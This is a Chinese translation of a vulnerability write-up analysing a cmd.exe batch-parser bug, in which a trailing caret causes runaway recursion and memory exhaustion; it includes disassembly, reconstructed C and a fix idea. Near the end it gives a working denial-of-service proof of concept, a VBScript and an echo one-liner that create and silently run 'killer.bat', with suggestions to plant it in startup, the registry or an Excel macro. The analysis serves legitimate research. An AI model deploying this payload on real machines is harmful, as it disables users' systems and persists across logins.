我打开 Visual Studio 2010和cmd.exe进程,使用“简单”内存泄漏批处理文件(^),通过装置中断过程,使得解析器处于错误状态。检测完毕后,使用Process Explorer去验证我正调试的是什么模块,我有能力跟踪大量的代码流,在解析器中寻找 ^ 符号(hex 0x5E).
从下面的整个流程,我们可以看到问题所在。
注意,为了文章简洁大方,剔除了许多
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
|
; start cmd.exe asm code flow
000000004A161D50 ; { start main (more init frame/code here)
; { start loop
000000004A161FC1 3B F5 cmp esi,ebp
; mem leak here?? esi == #bytes, ebp == our 8191 buffer size number
000000004A161FC3 7D 29 jge 000000004A161FEE
000000004A161FC5 0F B7 44 24 20 movzx eax,word ptr [rsp+20h]
000000004A161FCA 48 8D 54 24 70 lea rdx,[rsp+70h]
000000004A161FCF 48 8D 4C 24 20 lea rcx,[rsp+20h]
000000004A161FD4 66 89 03 mov word ptr [rbx],ax
000000004A161FD7 48 83 C3 02 add rbx,2
000000004A161FDB FF C6 inc esi
000000004A161FDD 48 89 5C 24 60 mov qword ptr [rsp+60h],rbx
000000004A161FE2 E8 99 04 00 00 call 000000004A162480 ; main_parser_fn
000000004A161FE7 3D 00 01 00 00 cmp eax,100h
000000004A161FEC 75 D3 jne 000000004A161FC1
; } end loop
000000004A162058 ; } end main?? function here
; { start main_parser_fn
000000004A162480 48 8B C4 mov rax,rsp
000000004A162483 48 89 58 08 mov qword ptr [rax+8],rbx
000000004A162487 48 89 70 10 mov qword ptr [rax+10h],rsi
000000004A16248B 48 89 78 18 mov qword ptr [rax+18h],rdi
000000004A16248F 4C 89 60 20 mov qword ptr [rax+20h],r12
000000004A162493 41 55 push r13
000000004A162495 48 83 EC 20 sub rsp,20h
000000004A162499 48 8B DA mov rbx,rdx
000000004A16249C 48 8B F9 mov rdi,rcx
000000004A16249F E8 BC FB FF FF call 000000004A162060 ; get_next_char
000000004A1624A4 33 F6 xor esi,esi
000000004A1624A6 66 89 07 mov word ptr [rdi],ax
000000004A1624A9 39 35 D1 98 03 00 cmp dword ptr [4A19BD80h],esi
000000004A1624AF 0F 85 F1 75 01 00 jne 000000004A179AA6
000000004A1624B5 0F B7 17 movzx edx,word ptr [rdi]
000000004A1624B8 41 BD 3C 00 00 00 mov r13d,3Ch
000000004A1624BE 8B CA mov ecx,edx
000000004A1624C0 45 8D 65 CE lea r12d,[r13-32h]
000000004A1624C4 3B D6 cmp edx,esi
000000004A1624C6 74 98 je 000000004A162460
000000004A1624C8 41 2B CC sub ecx,r12d
000000004A1624CB 74 93 je 000000004A162460
000000004A1624CD 83 E9 1C sub ecx,1Ch
000000004A1624D0 74 91 je 000000004A162463
000000004A1624D2 83 E9 02 sub ecx,2
000000004A1624D5 0F 84 61 FF FF FF je 000000004A16243C
000000004A1624DB 83 E9 01 sub ecx,1
000000004A1624DE 0F 84 6A FF FF FF je 000000004A16244E
000000004A1624E4 83 E9 13 sub ecx,13h
000000004A1624E7 0F 84 76 FF FF FF je 000000004A162463
000000004A1624ED 83 E9 02 sub ecx,2
000000004A1624F0 0F 84 6D FF FF FF je 000000004A162463
000000004A1624F6 83 E9 02 sub ecx,2
000000004A1624F9 0F 84 28 FF FF FF je 000000004A162427 ; quote_parse_fn
000000004A1624FF 41 3B CD cmp ecx,r13d ; check if it‘s the ‘<‘
000000004A162502 0F 84 5B FF FF FF je 000000004A162463
000000004A162508 83 FA 5E cmp edx,5Eh ; start the ‘^‘ parse
000000004A16250B 0F 84 86 DC 00 00 je 000000004A170197 ; caret_parse
000000004A162511 83 FA 22 cmp edx,22h
000000004A162514 0F 84 5E 2F 00 00 je 000000004A165478
000000004A16251A F6 03 23 test byte ptr [rbx],23h
000000004A16251D 0F 84 E5 00 00 00 je 000000004A162608
000000004A162523 0F B7 0F movzx ecx,word ptr [rdi]
000000004A162526 FF 15 54 6C 02 00 call qword ptr [4A189180h]
000000004A16252C 3B C6 cmp eax,esi
000000004A16252E 0F 85 C0 10 00 00 jne 000000004A1635F4
000000004A162534 33 C0 xor eax,eax
000000004A162536 48 8B 5C 24 30 mov rbx,qword ptr [rsp+30h]
000000004A16253B 48 8B 74 24 38 mov rsi,qword ptr [rsp+38h]
000000004A162540 48 8B 7C 24 40 mov rdi,qword ptr [rsp+40h]
000000004A162545 4C 8B 64 24 48 mov r12,qword ptr [rsp+48h]
000000004A16254A 48 83 C4 20 add rsp,20h
000000004A16254E 41 5D pop r13
000000004A162550 C3 ret
; } end main_parser_fn
; { start get_next_char
000000004A162060 FF F3 push rbx
000000004A162062 48 83 EC 20 sub rsp,20h
000000004A162066 48 8B 05 0B C2 02 00 mov rax,qword ptr [4A18E278h]
000000004A16206D 8B 0D ED 9B 03 00 mov ecx,dword ptr [4A19BC60h]
000000004A162073 33 DB xor ebx,ebx
000000004A162075 66 39 18 cmp word ptr [rax],bx
000000004A162078 74 29 je 000000004A1620A3 ; when bx=0
000000004A16207A 66 83 38 0D cmp word ptr [rax],0Dh ; 0d = /r
000000004A16207E 0F 84 69 0E 00 00 je 000000004A162EED
000000004A162084 3B CB cmp ecx,ebx
000000004A162086 0F 85 46 7A 01 00 jne 000000004A179AD2
000000004A16208C 0F B7 08 movzx ecx,word ptr [rax]
000000004A16208F 48 83 C0 02 add rax,2
000000004A162093 48 89 05 DE C1 02 00 mov qword ptr [4A18E278h],rax
000000004A16209A 66 8B C1 mov ax,cx
000000004A16209D 48 83 C4 20 add rsp,20h
000000004A1620A1 5B pop rbx
000000004A1620A2 C3 ret
; } end get_next_char
000000004A1620A3 E8 18 00 00 00 call 000000004A1620C0
000000004A1620A8 48 8B 05 C9 C1 02 00 mov rax,qword ptr [4A18E278h]
000000004A1620AF 8B 0D AB 9B 03 00 mov ecx,dword ptr [4A19BC60h]
000000004A1620B5 EB C3 jmp 000000004A16207A
000000004A1620C0 ; this starts a large chunk of code that does more parsing (as well as calls
; some CriticalSection code) it’s omitted from this because the issues that are prevalent in the
; rest of the code are pertaining to the ‘caret_parser’ not returning properly. The ‘memory leak’
; is in this section code (an 8k buffer read that‘s also checked in main loop).
; { start quote_parse
000000004A162463 F6 03 22 test byte ptr [rbx],22h
000000004A162466 0F 85 9C 00 00 00 jne 000000004A162508
000000004A16246C B8 00 01 00 00 mov eax,100h
000000004A162471 E9 C0 00 00 00 jmp 000000004A162536
; } end quote_parse
; { start caret_parse
000000004A170197 F6 03 22 test byte ptr [rbx],22h ; check if ‘“‘
000000004A17019A 0F 85 71 23 FF FF jne 000000004A162511 ; if char == ‘”‘
000000004A1701A0 E8 BB 1E FF FF call 000000004A162060 ; get_next_char
000000004A1701A5 66 89 07 mov word ptr [rdi],ax ; ax will be 0 if EOF
000000004A1701A8 66 41 3B C4 cmp ax,r12w ; r12w is 0x0A (‘/n‘) here, so this is a EOL check (fail in EOF case)
000000004A1701AC 0F 85 82 23 FF FF jne 000000004A162534 ; this is the jump back to the ‘main_parser_fn’ <–error
000000004A1701B2 E9 0B 99 00 00 jmp 000000004A179AC2 ; == call 000000004A162060 (get_next_char)
000000004A1701B7 33 C9 xor ecx,ecx
000000004A1701B9 E8 22 1B FF FF call 000000004A161CE0
; } end caret_parse
; end cmd.exe asm code flow
|
基于以上过程,我能够确定cmd.exe 解析代码和以下代码差不多。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
|
void main_parser_fn() {
/* the ‘some_read_condition’ is based on a lot of things but
interestingly one of them is an 8k buffer size; the ASM
shows an 8191 byte buffer for reading/parsing, but I
couldn’t ascertain why having a buffer divisible by exactly
8192 bytes in the line buffer was ‘ok’ but anything more or
less causes the continuation (mem leak)?? */
while (some_read_condition) {
// allocate 8k buffer appropriately
x = get_next_char();
if (x == ‘|’ || x == ‘&’) {
main_parser_fn();
}
if (x == ‘^’) {
get_next_char(); // error here
// POSSIBLE FIX:
// if (get_next_char() == 0) { abort_batch(); }
continue;
}
// free buffer (never get here due to EOF error)
}
}
|
似乎,脱字符号后面就是问题所在了。
这个BUG是当检测到脱字符号(^)时,从文件中读取下一个字符(也就是直接就避开了脱字符号)。如果脱字符号是文件中最后一个字符,这就会导致一个逻辑错误,当调用get_next_char函数时,文件指针就会逐渐增加;在这种情况下,EOF已经被传递了。当命令解析器读取下一个输入时,EOF就被忽略了,本质上“重置”这个文件指针会得到EOF+1错误。在这种情况下,将文件指针EOF+1 调整到很大的负数区域,由于他的文件指针重置不为0,文件的解析依旧是从上次的地方开始。
这就解释了内存泄漏以及造成8k的情况(一个8k“读缓存”被填满),当然这也就可以解释递归问题。当在文件中检测到一个| 或者 &时 ,因为EOF BUG造成了没有返回路径,所以形成了无限递归。
有评论指出,并进一步验证显示,脱字符号(^)在文件的末尾是不存在这个BUG的,我正在检测反编译ASM,看是否还有其他的情况,为什么会出现这种情况。
在检测过程和思考可能存在的利用,我不认为它能够和MS14-019一般严重,但是考虑到它的易用性(以及轻松修复),我定义它是一个中级预警,因为大多数利用是需要用户自己运行批处理文件的。
这里是一个可以用来编写和启动“killer”批处理文件的vbscript
1
|
CreateObject(“Scripting.FileSystemObject”).CreateTextFile(“killer.bat”, True).Write(“^ nul<^”) & VbCrCreateObject(“WScript.Shell”).Run “killer.bat”, 0, False
|
这个脚本会创建一个名为Killer.bat的批处理文件,和一个 ^ nul<^ 然后自动运行它,这个脚本可以放到一个.vbs文件中并加入到startup中,或者放入excel宏中运行。
1
|
echo|set /p=“^ nul<^” > killer.bat
|
这行命令相当于创建一个名为Killer.bat的批处理文件( /r/n在文件的末尾,做一个正常的回显,因此错误不会显示)
作为一个概念验证,我创建这个vbscript(和其他测试批处理文件一样),将它放入我的startup已经注册表中。当我登录后过了几秒,系统开始变得很卡,最后不能使用了,因为脚本正在消耗我的RAM,这个脚本可以通过结束cmd.exe进程而终止,但是因为他们工作速度太快,你甚至可能没有启动任务管理器的时间,其就讲RAM消耗完了。除非进入安全模式,改变它,而不是修复!
我可以想象到一个场景,一个毫无戒心的管理员,要运行一个backup.bat 脚本,刚好这个BUG也在脚本里面,后面的你可以自由发挥想象了。但愿我不会看到这个exploits在DoS或其他一些恶作剧中被使用。
我还检测了各种管道途径,以及改道的“破损”脚本,目前最简单的攻击方式便是利用“快速”版本进行DoS攻击。我在Windows 98, 2000, XP, Vista, 7, 8以及sever版本(包括32位,以及64位)上测试了这个BUG。Windows 98上的命令提示符不会受到影响,但是后面的版本(包括command.com 当使用 cmd.exe 解析批处理)出于好奇心,我还在ReactOS 和 Wine 上进行测试(都没有这个问题).
译者注:全文大结局,由于小编对某些词汇不够理解,译文或许有诸多不当,或比较生硬,希望朋友们能够指出不当之处,我会在第一时间进行修改,谢谢大家的理解!
【翻译@91ri.org团队】
Copyright © hongdaChiaki. All Rights Reserved. 鸿大千秋 版权所有
联系方式:
地址: 深圳市南山区招商街道沿山社区沿山路43号创业壹号大楼A栋107室
邮箱:service@hongdaqianqiu.com
备案号:粤ICP备15078875号